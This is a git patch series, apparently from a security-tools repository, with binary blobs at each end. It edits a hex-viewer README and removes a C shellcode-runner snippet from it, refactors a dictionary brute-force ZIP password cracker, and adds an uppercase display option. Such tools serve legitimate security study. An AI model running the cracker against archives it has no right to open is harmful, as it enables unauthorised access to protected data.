z_;XHuU}pG|is$&D;Fwt{?XFhoHeZW=bY9CFrC0Zcy841#xL5pZFsthlFJA+1L0eu9 zSNIu}o6psBMtt=S4xQU>yU-s~_s$rNe-?DxsQFOZuIsJ)miC;wH|0&jkWZQ&J4%2G zrLgy_21q+@2WxJ}leMDt!gUh=vD1g$7?xh*-fiy3p&f%utJoi$T27e4&9{%|;b|Rb z<&!tN#=&@TGaH0uT5_H9`{94{kn&^aJfGo!%r;m`4ftBf18`kE$5 z3-Jx~#A@ZkW{w}$6X2c)B0Nk{&L-nn^n;zMgN`kcDulA}H}JVn;o)Vzbyj|H9Ypua z&Fki5ZAP*WH;l@>F)WQcirUl+1|r!hw05$wg%MH<@eYLi@V>W>atqI>w7)iJ%ag$I zoKEXTpx!w?9`augyAF%f7xaR$(K1b$Prct_KtDOJp7)Ew&z9caOcBUoR%Cw+yz0u$1-EbcI-WT+Z$JrtS%qPYBX!>;dyv3 zc{zm((&JllA$GfuqpT}DsgDp2w(~=Z^4KmMVKv{0-B<=3-{5fFEuG%yftz^3Eu-X5 z&GUe=YizM>!AIIGZ_V^iQ_oT`P}co^Tg)V}dlSEcWV;Q#o?KMoJsptHC3-j%<8 zK!Y>Vx*o%!Ul{n_$^SnR{mGBtdO{Bke`uH5`yLA|Ir`oKbZ^8e`?^2T7m)Nf!b^iO zo46jrma#ucT9kXsCLpX%Lblw4q9Ye=l_2*;TE~|BeE*y`Jj3_rC@+>bh(>T0{;iX! ncK^;JZfd&JnJ?bcGL8Q~0E_W Date: Thu, 30 Aug 2018 23:16:59 +0100 Subject: [PATCH 011/460] [hexview] README.md updated --- hexview/README.md | 14 ++++++-------- 1 file changed, 6 insertions(+), 8 deletions(-) diff --git a/hexview/README.md b/hexview/README.md index 66667ac..4e15716 100644 --- a/hexview/README.md +++ b/hexview/README.md @@ -51,13 +51,13 @@ $ hexview.py -d FILENAME #### Bytes range -Using ```-s``` (or ```--start```) and ```-e``` (or ```--end```) you can define range of bytes to display. +Using ```-s``` (or ```--start```) and ```-e``` (or ```--end```) you can define range of bytes to display. Values are hexadecimal offset. -View first 128 bytes of file: +View first 256 bytes of file: ``` -$ hexview.py -s 0 -e 128 FILENAME +$ hexview.py -s 0 -e ff FILENAME ``` @@ -79,9 +79,7 @@ main() { printf("Shellcode Length: %d\n", strlen(code)); - int (*ret)() = (int(*)())code; - ret(); } ``` @@ -91,15 +89,15 @@ As you can see, a string with mnemonics contains ```\xhh``` values. To easy get ``` -$ hexview.py -s 0 -e 128 --shellcode +$ hexview.py -s 0 -e 71 --shellcode ``` The result is: ``` -$ h -s 0 -e 128 --shellcode test.c +$ h -s 0 -e 71 --shellcode test.c -[+] Shellcode extracted from byte(s) 0x000000 to 0x000128: +[+] Shellcode extracted from byte(s) 0x000000 to 0x000071: \x69\x6e\x74\x20\x73\x28\x69\x6e\x74\x20\x78\x2c\x20\x69\x6e\x74\x20\x79\x29\x20\x7b\xa\x9\x72\x65\x74\x75\x72\x6e\x20\x78\x20\x2b\x20\x79\x3b\xa\x7d\xa\xa\x76\x6f\x69\x64\x20\x6d\x61\x69\x6e\x28\x29\x20\x7b\xa\x9\x69\x6e\x74\x20\x78\x20\x3d\x20\x31\x3b\xa\x9\x69\x6e\x74\x20\x79\x20\x3d\x20\x32\x3b\xa\xa\x9\x69\x6e\x74\x20\x73\x75\x6d\x20\x3d\x20\x73\x28\x78\x2c\x79\x29\x3b\xa\xa\x9\x72\x65\x74\x75\x72\x6e\x20\x73\x75\x6d\x3b\xa\x7d\xa From 3daf90e48a14996a8c620ad8a8d9e41ea619f9ed Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Fri, 31 Aug 2018 00:18:09 +0100 Subject: [PATCH 012/460] [hexview] remove '|' as a separator --- hexview/hexview.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/hexview/hexview.py b/hexview/hexview.py index 32fe738..bb2898c 100755 --- a/hexview/hexview.py +++ b/hexview/hexview.py @@ -332,11 +332,11 @@ def extract_shellcode(start, end, read_binary): COLORS['cyan'], offset, COLORS['white']) + ": " output += format_chunk(chunk, 0, 4, - df_chunk, args.decimal) + " | " + df_chunk, args.decimal) + " " output += format_chunk(chunk, 4, 8, - df_chunk, args.decimal) + " | " + df_chunk, args.decimal) + " " output += format_chunk(chunk, 8, 12, - df_chunk, args.decimal) + " | " + df_chunk, args.decimal) + " " output += format_chunk(chunk, 12, 16, df_chunk, args.decimal) if args.diff: @@ -345,11 +345,11 @@ def extract_shellcode(start, end, read_binary): df_output = " " + \ format_chunk(df_chunk, 0, 4, chunk, - args.decimal) + " | " + args.decimal) + " " df_output += format_chunk(df_chunk, - 4, 8, chunk, args.decimal) + " | " + 4, 8, chunk, args.decimal) + " " df_output += format_chunk(df_chunk, - 8, 12, chunk, args.decimal) + " | " + 8, 12, chunk, args.decimal) + " " df_output += format_chunk(df_chunk, 12, 16, chunk, args.decimal) + df_text From dfc7a8b2992068a126e7842dda5fcd1674d569e9 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sat, 1 Sep 2018 19:34:38 +0100 Subject: [PATCH 013/460] [zip-passwords.py] refactoring; bugfixing --- zip-cracker.py | 25 ++++++++++++------------- 1 file changed, 12 insertions(+), 13 deletions(-) diff --git a/zip-cracker.py b/zip-cracker.py index aa6e2ed..fec9283 100755 --- a/zip-cracker.py +++ b/zip-cracker.py @@ -8,24 +8,23 @@ def main(zipfilename, dictionary): + counter = 0 """ Zipfile password cracker using a brute-force dictionary attack """ - # zipfilename = 'secret.zip' - # dictionary = '/Users/bl4de/hacking/dictionaries/passwords_2150000.txt' - password = None zip_file = zipfile.ZipFile(zipfilename) - with open(dictionary, 'r') as f: - for line in f.readlines(): - password = line.strip('\n') - # print password - try: - zip_file.extractall(pwd=password) - password = 'Password found: %s' % password - except: - pass - print password + passwords = open(dictionary, 'r').readlines() + for p in passwords: + password = p.strip('\n') + counter = counter + 1 + if counter % 10000 == 0: + print "[+] {} password checked so far...".format(counter) + try: + zip_file.extractall(pwd=password) + print 'Password found: %s' % password + except: + pass if __name__ == '__main__': parser = argparse.ArgumentParser() From 002a320b0662b8888f2a80eb04aac9213c2e1d57 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sun, 2 Sep 2018 16:17:06 +0100 Subject: [PATCH 014/460] [hexview] -u/--uppercase arg to display output using uppercase characters [Resolves #30] --- hexview/README.md | 6 ++++++ hexview/hexview.py | 12 +++++++++++- hexview/uppercase.png | Bin 0 -> 804526 bytes 3 files changed, 17 insertions(+), 1 deletion(-) create mode 100644 hexview/uppercase.png diff --git a/hexview/README.md b/hexview/README.md index 4e15716..67ffbdc 100644 --- a/hexview/README.md +++ b/hexview/README.md @@ -132,5 +132,11 @@ Sample output: ![](screen1.jpg) +#### Display bytes using uppercasde characters + +`-u` or `--uppercase` allows to display output with uppercase characters: + + +![](uppercase.png) diff --git a/hexview/hexview.py b/hexview/hexview.py index bb2898c..1d24ec4 100755 --- a/hexview/hexview.py +++ b/hexview/hexview.py @@ -159,6 +159,10 @@ "lightblue": '\33[0;94m\33[40m' } +# some globals +upper_case = False + + def file_type(file_signature): """ @@ -188,6 +192,7 @@ def make_color(c, df_c=False): """ Formats color for byte depends on if it's printable ASCII """ + global upper_case # for file diff - if characters are different, use bg color for char: diff = (c != df_c) if df_c != False else False @@ -214,7 +219,7 @@ def make_color(c, df_c=False): retval = "{}{:02X}{}".format( COLORS['magenta'], ord(c), COLORS['white']) - return retval.lower() + return (retval if upper_case else retval.lower()) def format_text(c): @@ -283,6 +288,8 @@ def extract_shellcode(start, end, read_binary): "-D", "--diff", help="Perform diff with FILENAME") parser.add_argument( "-S", "--shellcode", help="Extract shellcode (-s and -e has to be passed)", action="store_true") + parser.add_argument( + "-u", "--uppercase", help="Display output using uppercase characters", action="store_true") args = parser.parse_args() b = 16 @@ -292,6 +299,9 @@ def extract_shellcode(start, end, read_binary): if args.diff: diff_file = open(args.diff, 'rb') + if args.uppercase: + upper_case = True + if args.file: # read first 8 bytes to recognize file type print file_type(open(args.file, 'rb').read(8)) diff --git a/hexview/uppercase.png b/hexview/uppercase.png new file mode 100644 index 0000000000000000000000000000000000000000..ea5996119b84b00d02d3ae61f52088bc21c5be43 GIT binary patch literal 804526 zcmZU)19UDyvo;!=JGO1xwsx{(y|HcEww>(Qwr$(Cox8tt{`;SE*PXRyx~Hn1s;REk zJw07L;fnGS@G#ggKtMq7Qj(&|KtSL&KtP}|P!Rtpae0v?KtOO5<{~1BQX(RRiVn6W z=2pf)K$79fsgS=D$I$&w82*wr3Q{Ty+ZLdn&07{pqge%!#wiL*LQ%UoDfKnw6$GH^ zpw(4@#|?#a5v{_$3yO+qU^v(1-;+bD%bhS%7XbZKYo{XcEBUOeS~yvuFQP>sIt0w zQDFd)LO5V6j8FM{VFGO?)1(}N3ZD9VG?>2`j*4QE%_j5$5oJzriHu!4$g4O6^^^0n zBRNn58DWQ#i~$L%;$u|!WdeVd(Fb1=?n8^k;Shb;f#c#I&csO^A07&;HH27YKWFDg z`M%2HJdf=e!8I^r1jhviDciG~4*zJx{Lpc&)#r0f>K8(j8r0oq9XU^o!>6*q--9b@ z{$@3j8|4V*4erXyg)uUK4tyqPoflMR=>-ESzT*_yi-RZ3jHoXphIryX>qlZYQuk!l zO`D1N6C>uHu(>MqbL!O1%4rkE^=nAmA@i4pTEI`XzTzIoaUiF;I=pCN*usClVK|Xn+eQU{v45e8)6YOSp#K4d@#FOJs)=Wd-v2 z6_Ybj;2QSC#ee+D{dRaw$9u+;%*E#Ako6??60MQrFFr@h z_bGo@7m$yOZQDB&f!vY=jfXk#Ag_faazT3CUgS)lA?QEQfN(AM#!11Y@#uY#fY8eN z7{m}U`?@BuO%B1d{V{Gq`}A?cAnpjUWc{7dd!4C)7kX(K2~Y!-Ye6c3(eznXAzb{s zb_vTsqjym`A?X9r?O=KREQ?_~!Mb+wP9>0nf@YB+3PLeS(8KWdgIY=WB^iJD4-$__ zQYZL_Az?AYYWO7)8%u)Mqx}{4k%%EKjf<3|aX>s1Y>(#{r9c%iFGIHo(<~@da$O{V zmpGUkGlR$oMK6GzGd|^RgxLyQE-0OyIHhaE^A3MD08;5oOM^CvZ3FnLv!(cfxj0xYF#QJKf+M#A*TDU_B`MRQ0(Y)LTCC?_t9SIJJAIKcY1klbw6qR zB($JuPJg! zn}6|ydz1c>iZznBCl^cPEb>xjGUqc#JOex9{u}w|Un$H^&J!;(N@axH7N#w~Eypk4 zE$<_KU0S9>OPP~o1{2F1Sf5p&JulcMepc|P!d9mC+tz}YEs;C7J*GX@BV}FOyP}}L zuzWwCSy!x#S;07a95@-48jqU5JcCtBlhFE?oVb?wh7^xfhlHn0=>pxE&m*b_zc*G_ zhEK+K*tbw}KDTso)woJ_h2~$)3J;y9WNfi1;VC`q2+e%WwsoQ=OAEepRA-qdLFbrv z+$ZU$!gJTf4^~X<80k+qyl#c z_cym!HW~MaQ}spX3SRz2>BI`%+*XaJ%u6D^41+p@jBT-Q_O^((_Kuow=Qrz@+`H+M zr?^@4Ep{KC67&9U*at+Jf0a;WpKPEt#2>hKxM(;L_@R&scmZa;lO`NuO+wuu}MSM2LeF{DwCm{iyrZ1*vIQ`;&1&9!IASg+1J@oJKrWu5PTmY{C_UN{Ye!Fldjl=oF`=O;N)&2IFrj4mhx+Uwt4Ln!67tEL9 zYYbi}d|-S>K5RaIk9Ln^PyENviHU8R3Cot1hdMRD8=xij>XH5F*v$7ur_ZtFCp((e`+^q zH)2fT#pFW>OL?HyZzkfh2WXk}jzU|V&<%YAxzF{OAx-@ts_)m~POl@?W zD642e`~mSFv1Tz1(eQ%v0wGo&57oy3%!;(mG=X81k&&nx+#l9uCKt8KH%{@*#nvtR zn|;vz)DZ#6TKPCKR3+E+$8`}O=Y>;2;qr_RIQhlXQ4ItNN>ns-m3`GAn%5ZDvC%TKb$)C|KVL#exLG2KXZhG7g? z3=Rf+-Fly~m0!AJ#mb@c_wzF{Z88jB=dTy-dXOo_43@gr?OqEo`!I768#La3uBjI& zX=pFB(b~#g*espL&U;p5bsX!wWZ#aP7Mtput}cj|mufildJMl#V1$OM#{I^>aNyW! z*KU1CY!9B~d@`S{**CS@-xkpKQaZFmT9(x`)RJvUY-m=WojmuSA9~t;)Vf4`CC*|P zc*J-%T!*f?Rj$-@x;FG*?y(!i)fT!;=W|lJggh@^)^0Z1bK80zfj9|yZuegncWepZ z1Xi6!zh=7!&_g+J4RERcidmR0J}*O`uU{lyXvN0xtS{~^*&W6z`CeMFnpg6ccw4>M zpWg+KK+2=$obpiduQ^g5{5D-!EP*Vg$m(`C`Ak1<*fV9wg5`33@BDc~!RTaQ)qU)A zdrbH!Zl9=5wXA8?=5km%I*&J5IbOH4Svl9@)x_2uX~yrl_WW9m&civeskhbbMsu!s za_PV7a3$X|@0sZM_|$#wT6uxJei2Ap5jUf8FZ-_jjPENf_g(w6^zE?xsEf&qp@}`f z7dSn1>GmS_zHhVKQ+Z#wHyxfS&*kB>y+k;(ac8;{Tame&_|DlEVEf*@9e-ci>-qd{ zpXbSMxoA3k>dh>+ecHbM^qkz0^Jemn-9GBP@YTB)x*4dBy(XCPm41J$^j$ZdKXKNx z>SpzV|5;~`V__sbmgI~m1cJcH$U*4M%m$iG+*`{B2Rau$+L9#-yXXH)c$=&4?yC|; z1H|(MB$);&2*z7z6)*+D4BveuaqA}F$IXM-A{1Z3!$ajgw;LUNYoNbdMFdm?0n{xC z0rAd(0Oz%a5ZDFTJH~sItw?{*bBa#GrDF{!^Cvjm>B6>43NcYQ`1j=iZ6~SW2n2*q z_Ma12N}2Q)2naaG{I|N3x|}RGz}A}Hz{u9nnBL9W?w>Re5U(5ezpAydlL4WdwUvz{ zw;Lbve@SrvtN(}0Kuq{wB2Jck#OiX2gd(;M#)NG2tn`e;{4j)sguD($Cfv%R;{ON! z?~aey%*n})n}NaA)s^0rh2GY|l!1whi;IDgnSq&^?wi!4i{STE}(fr?xSzXlJ+StbNpACK{7A{8K{{sB~SpQ@4e?c|=2g=3t|3UsQ&i_I3 zGW^Gb|K-ttH`jkr|FsuC3@^j~ZF_#0@(?1Vf8oG27ghNEuLSu|Z2m=V%z?WUnoyKDE>b27P(aKU^qvYg&85V*Oe;b*;0e!acJy_b&qySJVCvA;Reae zy7r5a0XzhyQX};pFV)LV%A}%6J8&bp zF4k&z$(b4~CUjd1=G-R2m5w8(ixvquG#8Y`d9z!NRXiJO-H}*NNg%TtXlMmS6tZcG z5%e$jm9}O9!cTUJQJ6p}mRjomY%wuVyzQ#V&mjHU^_i2_g8D4It6run4boP0@MGZv<0fsaNKIMh6`4z&0z0CM{@T$Rj#&gV1@~b6ZlH;zZhi zxvvw}#?2u(ps&622fZ|RkEL)ns$MFmKst^d$G0qr!bixRm1TsWo$=|HO}s`G@{cKk zs#hC-oHGkiicXoVTXeC82w|f7LA?b;Gd~XW(S8DL*^EIw6wQi<_Kn;PGPYBJ=zH5J znmWoC56>(0`A%VwY|%!Afs=-jeT%d`Yg%GKJYeBaUcD|51)BwiJdgi2QUtL4NcUTc z_X##LA2)~qGkfY=O=IhD5|L}(GI2EH6~RRl-3t-eEUsQ64@96{W|na2ZPM;jMKuBJ z&*SLW!fb~edgz<(+7J;zLSE;5xqJ9b(cJv%wXcv(*JxjPLwYG;vH{VH9jgn2yEY<6 zolVOrO^<0c4bSV;85A<9^mpy2P2!;SX^No3W-evf`B)ZJx#p*_@_uaeP~|_`7|U%L zl;J-?Q2dRV7fQb>)L5Q3!HlE>-&V@MZWT@#b3r@C*b$b#;Mhy9 z8PT(kmWIQX{4GKqUFrB{?C2}4Pcl!NMrx30)M#x>pW~)U(-*+vm(^V?hb&9!WSpQp@$f8^d8tp= zVp)^NVWzYj&?ZYW1qrQEtls{vP(3r|pt}+*Jm)vTHBmRN1XzrYk+-WVd;S|-@~9gh zRe%#?OvN6%gqLZYCOO0QT0@m{kL2<+?j+6?BG@_zA~&AIP)zG}CMlx=)nkp1v#vQT zqY*x(7k|^}@WGI4-x}ufHG3b8%WE35oVVc|1qpHOn4S%oP0oS!%U>#9ZUH;oaRN6M zD$-F`ju&u1F<9^d3Gd3EIiSwNn(q%ITlz)F^9%rht%M#ME%mdQ6}Euwq5F7@%X%H6 z2Ffbhi9)z$HB8RCrXdzKDvvSug0wss0#vyW-uy})P?eY;&P}yVu+|1kf~5>s#>dN? zm|dJdDx}Jf2ilMyBqDpc;kroSFV>b4(&aj~v22Ms)RYqiH$V(ZM;=8DVC#gMRBC=m z?c*|)O$7fu@&};2xt04bF$sL0j+^AYn?yzNdtR=p7c$u0+~U4;z6Wca*ws8iu|xQpCY+zRpVSusu6RXs8!pNe)Fo7&N! zZDc1o)8(?;-X{dh)|hqOgU#tSu%0y`;G0IzE6mY=#QAQykl4RN0^CT6r(=3Cp2cx# zWa1K5bJ1RQL~^z5s?lzV$+x*&ZwK7B66XZ?$J%J&z_zr94F(q#%cQ(MEuz~1 zAK!`1jBJG;I1ef{W?-AuHoO_-i@}-c7yJkp1gsY#me@#=DueG88etq@WyE8r1ZDC&4`K z7usQ2LrUeFF-oj+JgezqudcCNW02W(<-)K@z39Kv4m0Tu@Wl6l4n+qgd&va0gOR&0 zx|gCht?$w+?d4hMr`u&>h;jwt8U#T0O-076XoiuHIc>&0XIBjYS>3?x2g|*Y`ib*c~HQ{k; znd-~b*GxElTwDIv8!v++TzD2*3*r3lOWo)YpdK zb`(U38}<^p$Y+(Y^`Dv_bopc*K3W*a}zLh#>z*hzM7=j$}%aQk(0mthZnK5-4`z$C`S1J9f zO306swyY`v3|T5V&+6d`-8cgchmW^XsxA%9AvDof0U1?vJ()kz=iL}rTscwqf!U%A ziZ4+x^$TQu5oQJN`9=CyMqK$>$%A;f6sGUzmQXA(LQ04E)iAAPfpFMygOFzNjFkVgJcZ_IO#*KY%slf)0lkVM&WiTSwyCRTZk6kJ&5n3!g$tRGQ(fz{@TTW>ly^QimrvtzkR|>wC*p3%diF zsU#FG--P1Dw#GeH6udEsK6>A6zvvC6!4pXo?7yk}msfa!0tpF=bxNtwktFxR1GU7y zwxqYrvcf&6S2Dw~1WG1g$uYf!{{A2}E3-o!1mcK^HJx9E! z2Js>q-Tolg{r3*1t#w0I7kvmYJ^H22O>O&25s6py)XgTF9x63tb2x0vB((e5ez*xb zZUOIi4r`u6&WAV<%D?wTS&M#ng#IKb&1p6_~$k0)L9`PTvpe0B72fm(bVaNVOq)^$0K5{cIG- zZ}r7u6b-|y^Tc+5aUQq&FrkWZBZZl&yIIdU9Un^p@3glYCeFv?30_O*_B(^=ekw0I zuGQH9SViMO=jbr6z?z9pczS-zIP3iC<$Hh$J8TQ%)%4b&iRKg5Lfb-`xe9_V4eacG zmC%Z=P?U?}9&k#)5}j{%PM+Fhu|o%fL#4F~_{-a>;!4nva5|&qYK?n3-`)5YsjS1O zGtKg)lZSqJ7@uELZ0=|x=e&NDTt!?ex#aHnVNO8&vb6(02_eeS`yV)w0^6AIJlwG$ zE4TvY>}l4Fd@?1(Op_b-sQfA83_S0~XY!`BzXY~tvFpnqmohbTA2I1n8@2yatjpq$Y{wdSBglkS<%XXOVZKm{#&%-(jcHQ`I`~Ew87T^(yJDl!Bwe5zX zKMP$%fbJf%YWE7IuW)<{>eET!lnUnqH%5lu*_nrs61j;As&h583Huh9>I>iTV6E-H zoG#j!7m_}_;$HBgY6!7y`GJNpD^f*R?$|n=IYhouRrMCV0@+Q}!8^<=5Wyj#KZ@q?ba0%RixSc(@IxsrigLETJ~Y-|@?2nn(Wx})#5_Po zP`mkVKh_^1Hu$Mynnw8yXT52*%pz3$U;-JaDIURb-6B@|)a!iRR!@`Y1tPI!RWI_N zELt`+9qIj)KoVPUxpd3WiW4&Bv2MV7rGkVQfuv&}Nf*FK3)?b~8Q7g@1o~r$_c%_Z zl^oY1{r$=p-4b*;LIDl2$I6CdrlWYu_^9kTvea#BQBq*|n;V=jY0|DWqS$r#5;}bX z*$#iJ5a2%5$1MU0ti+|rI4J~6O7JE^<^ydqLb0;Uz!_BOV7ZcDH1)s{-d>GXmT0hg ztX{2zUMfDL43@MaL{ZQk@Tr-Xb&TL~x>;V(x#HljbmZ+#>}N3%cHyZXOLnys;*R=v zoH=xi%1j1n4ur`>q)>m^ZA#nKOfHj%JXT#bN41a93Oj)if_ehdS(+8f$SAO_qSn?C zhYwxwB33~2uf(G4?}1>gQi3~cgps4TcAeY>O#Wk$((*p12+ZZyRY%x$B^XZQ^ze5k zo#ClPSNsW;ztmb+a;B2cVC=l89+qYy@=K_^L}nLty?av`>op_9`?+YY`qAX%$=sL^ zOuK(FsVnT^JRg~e>{tj*%&rp5n-i_Ry$-qF`BiG1#UJe}hFar64+tOQCY4u55Gq0P zb4_yF)@4+eMSUR(umdF64kO*oobt1K&Eev+gvfWr3vj~%$mxCgEsVym95H0`*CMtg|6jAmvCHR*yM9qMvhps9nH~s{(Tt7n%u0!PFgCF%#i0i^9Ej+$S~73 zXEHQEu!9TOpf2}TYgVKhw$KHI7a;oM&1hNCWe9b`tGg`6O%BG$*qeav*!gA4Js2U^ zhfYFuI;*{5LyExR?0FLy7>`3xc7UL}!c~py`WlX;&9dp4ZMet2*hU`hj%7vx(`#wl zaBIm6yd2^cwKYI(WF4hM(h-Q^-0;J7tvpD(_&(BaExBcb3mZm&9ouK2U$5TEW=xP9 z>n1I#&B**qGA_1<&%}#+@MKte=DWL+mi8X!Fwtm>O16hoTvJ1#1&fAY& zKyN927`fYU+nZB1I7^WatPJGW-SyNEQ@Hu7!;V)-ooLCu@Kf`}QU#>Y%3LK~itnk- zvEP#&yOm`&eZ^{UJ7FY?*kdmAuyVow9RanXw^Pm_PvTkiyI4oh>V1e|2~P8_mLoF^ z+}@oUZn|z72l>4B4e!EtPk&l@Q6Iv!$v*sskG?_}T`QN}EWSa&k@FJ7`kREI6XD%b zam4gpGmA31=Vk5>r-?%L zIe;j3aZ}$}IBAThDxlcGVC0T9(||K3XU>G&kGs_OH4TiyWSy5?7AV^E*BWEG612C6 z-<7-K-=Ui;)iGuD7MXe^M*Wx^}mfYZ)n0|Xn0;pTZ3zZ((fA8uAU zdIdHLUUYRmu%U&bGHKH&{pfMpT!Ea9Fz;ss4Q$MH;oRou5Q#{WNJ#EuVhG0P5`>k; zR>@XAi>MB8IRCB6mgfPsRTF}b$}Og`ylUOwc|tr2)_ku(sj}s&$VUieQDfP6Gw@w5 zaD+HfV;;F!J1$RSgp7Z+HSz)=jF9)3{^a#f1iSPxriL?g;Ik^-F%$AqDT~aC5>Xh1Rafpz`B0|<9zr9;~ zAM3}F_@)VRX+CRBmRJdz%7dj5i||aBSm35Xd16%&Y0vi^S_bc44vzFZ0O8Gv!d1Vh zh*{~`1{L;?Fp+NErjVjPnA2O2wXE+mrpx5EZA6yLD)Fw3HgR5?Asc2;^tb0S}P2sio~aEl3=tgAo0tx zSoc5kVf}WK&|b$3&zzi1Hq&C4vn%J)n+i{cScR@5Ov0!;!eEm{0`a_GBg1e1QQ*BjH z(-BRN(>}B7{Z;+$-UE8F1_w=j5SR}hd%B_EE(a9{R|ALX&p3<93x(oH#;czhR=pPO`F=M_GkL9YVZcncsRhqVWf z*<$E64M@6TTU!JLwb&yyBsA2LPG1NOR)|9`cH+F{vy23aS~?77h;o3St@wO-i-=u8)Ot`?-~Z6CoR3JF#k2S;h*cW znnOe(&H&^Ir>fx8mBW+SOe2@TlX}bHE@}A(rHD>e>#)(B;K#zxr)&6Qw&dz;idJFa zM;aX`Cd$kBkOd|^4sN0yyc!Ojslc$$HM@yZ&CYdAVIz7G z6KxyGuHU1z6p$|xCNgGQ{B9~C$&0X5h#tNKqBJ>u%qyt;J$H~<@4wHFCL0rK^8rWr z609|Y=;0L)&*3>xzM|k;sI`Op&~itkR>INFnz6Xgjmt24h0}+-G|Ba9KgvSJ^~kCX zphGzBzIN*6*OeL2f@zlHT#c#hxOd+%3S_UO56 zD6f^fc!Z!j-k$vR5PVk&GJsmqry6+TXMf5|RcAVX>Uqt5IuMj2-w;z@OTccvZOP9c zfhkREW8A*m@Mh(MY3m$>7?|dGQQc7O!??(hwhyKV#SccW)4q6}Gw5hE72%T~djV|G zZwU_w;o1FS0Aa;Gs2WSr9W-_sh9`MICA;rFa~^@?oTkH&x9no0{}v0NmyNXzXR=Vg zmxe$WiI{yf&)L0K(7poft`OI1&!L+FQ!!Du3^(;pu1)D zL%4m{RCI=y!$Z|db03t#+S0wY2SS8DD0A7SSs}P*mMxRgFgjg)of>?F4nnp(P?v07 z;?1s&0cB#%KZC0}NfWyEPjC@6H+S@ow3BmHj+Sn5GC8Z90e$wKF@M4`PhjO)+>7YPF}Px9}>% zd!Gl6(Ooosj@%>4N-$i|&5A*gIx3uq{kk&sB9+rlLKL!maTYilD?3JZp2mUiy1e2L z!O4uEc8gSJY>E|9(0t&Ml*|^#i4TFdZkjm>@xi2XG<6!0U35a^S~0HeNw>3V7UfC* zeCU*;jbTyJd~Wf)9R{aIh!5N2YQ}HIGZyxq1^J%zQsm6b`>o2+#=&yadS&$szok<7 zRaXc92(vgHrzRf<1BP8YE1zt0CoaD;v6{(@i_y(B5D@HZ5anYIht7aHz)-B&Y}K}<+HCm7JTIEv-@_%n zy@-yDagY&;|BYdOD;v8bGz}|$6A!t*>Ds7+ACbEo>lW7{g?k9mocjw>^}PIOnSm?g z4y$Esh}wC{{eDMLl-?^5zmF{Jn0ri3X^QJC_^Nn_P3o(u#7{0u;+TG)`9wo1q1ssz zJYYclJc_`oTq+Mwaj4;1RluenBpOM!{Xi{Wr4mNzZn0C4q!eUMo~0}TdLL$X+bTdY zuFp>PvQ-~d0{_X{?6<`9ta~NgFxS7_fa%tg74XW8wQ&=VtJ)~DPV11nzn;Y^WcgvB zI+{B#Hj1};#Wz>(L;zzi6kHuwTC{mt{hNuTp-%RLaX?h$3fZiz+qRIZ5{p&m!vue?2ohE80lFAekhOIsn{p1v=a58_ob|qXfxWVp zTg#9I4|+y;z=b``%z6?wme_6F;K1KcObPuLE z^s`oo+Dfx#&(;OGT}r|xAN;ia<6b5DXd6z&=_DekP>w_Gt4(vum^v}u44KD`waGEa ztfAx;5ZWrqf+&iJE?lX1GHg@uVdZk58RRiuV^k{|t!K?%-hMDEP$@{<+k4@f8er#< zBY(9ODz61k1-`^6*dOl_Id<=I?|LhDEH+u$L&+NOW9x>((QgjWpb;Ec1jbu|tS(0t zt}qpr<~SVwZHApFA4aVvQs6vd_%#I+W4*BKd#>(TX$%D_g_Ek8J*9RK%wWgdXI18H z#%FTjvd;VaH&6rXyT$?p3y7N1uql{T=@~P+w;{y`ZAP98?D~@z;GjP)$+509{UPZ< z=1#V%J)otIQh!~%Un!ElaNa!oeKU{F3B`}<*9>T@)ylmCtHHGrUq0Smv6-^lFsmw8 z-yepM!lfgn7^RH1J8bSuFlz#);h;XcW}nM>XixBuBkKU41a(CEFS&q8HJiI(Xk}g6 z608}jK6B9pr%8IA2Y#|44?@MMqysS?7M!|Z(+C;VxxF-8-|efQy!1`=TL5&-t`2Jf z=7IJ=y%dW;t^`{&G+Uartco6IQU`Z=V#p@w*5&yShe(lz$`xUjDBPCp2E+<&X#$NE}WoyO6k z3B=B-YcXExGt2&MeL4cOR5(Vj`T!h=A_`2HakwA@8cGvQz$D*??P|~gE?mqSNBBUL zgMPZ09o zt|b9QT@#1{T$kwCi@|l5k*e)6fa}qqPGLJz8|n&-R;!NEv0i@k0fhLZ+)rVO1A zgLjCK8{bnkA78O;Q}B|!obfrtBZ}MrJCF;`Lf?@w1Kx>L5rwP`A2-G!LcbLEtGt45 z^deF(uNxo%O2njCj4mFAAB3u<=e#&W|5;g}cRaI$#c+yfPO(-v?`EYY{wSk@Zoj9DYnj3=Bp5Py8X5S$md9 z78bX-*!YrpVys8VR1Ra$=;U^UB&jNBtuEZiG_dBExhB4!6T*}KZ^@;gsPgi%E(dBQ zRudHGy_&U>yZGaonyZ580d9ES%Sr$--|(^gM}IT5W7?ym^+zgT{RC4QyMjAk!m*@u z6J3G&GWxfKvn;zvQh4h2B&j9GoRvrWr3-?0h@zo?O$<&Nb$Qoi$t`LAlJ?%4M-T`9 zMP>95rcUQl%H*q~X{YA_#;E?KZGRFM$({_?%ywr1-4kr7ZVCTY9sg@v|U*50tu=*o}P)^;y~UqrEWPzp&= zg#B9lIFL$f9x}%Xg?iZ%zmGb>Dn;^~u?Ez;rHH|Afi%nK9;CT{sX6DA>}`bYVfL!3 zEoX#mz~nEULrxQBV#myF(rwy=-EDjHYrhD=w4$DK6R%(Tw%p2{8>VH9bV&biMMG`HkAj0({k@sP)$dXm~4?~g)Ji$Kkv zhV(y#H(6*kd>_zKs!6M9jzd%ohT(wy6J%bV7PjGoNJ5iRKnrk)#^U7^^JJe9zY1-f z|BC%8MJ*MPGS)HNF|ZN;B0?AlBA-)TXjZHjW&N#IW&h&jJVNn{JB$py0i_!Ve#vB~ z{ywH0n>2q_BySs07+ah1HQSihc~ueF;k*#hR3=_Fsf{qDd8#}WAP|;3RrM0-;e^a! z9iQo0358m{^%(PS{V7SVs&v~6OtolM`yQFx8nz`n*1%JK^c;GJki?uL6Qe0xjr0g5 zHI|3Z)ZGQB^yNu8z*|?1x0|m+sJztk_T@W}VnRzDm>* zW=*=HyVp83(u7F=oXwG20hm6fUn#bU%6mkw0$L$YEraMV^3*2nec4 zth`l82;;p_#oOt$k(wiX4)gI!=l8!Q(hfYzM*_<~LEBQEuz4}bk-q5wgR+vE?0W|) zAQw!vk8}?{jmQ__M&>9F$V9s?2I9V@hd)&Wb-X#&zSt+EF;ebTFsUYD4SCsv 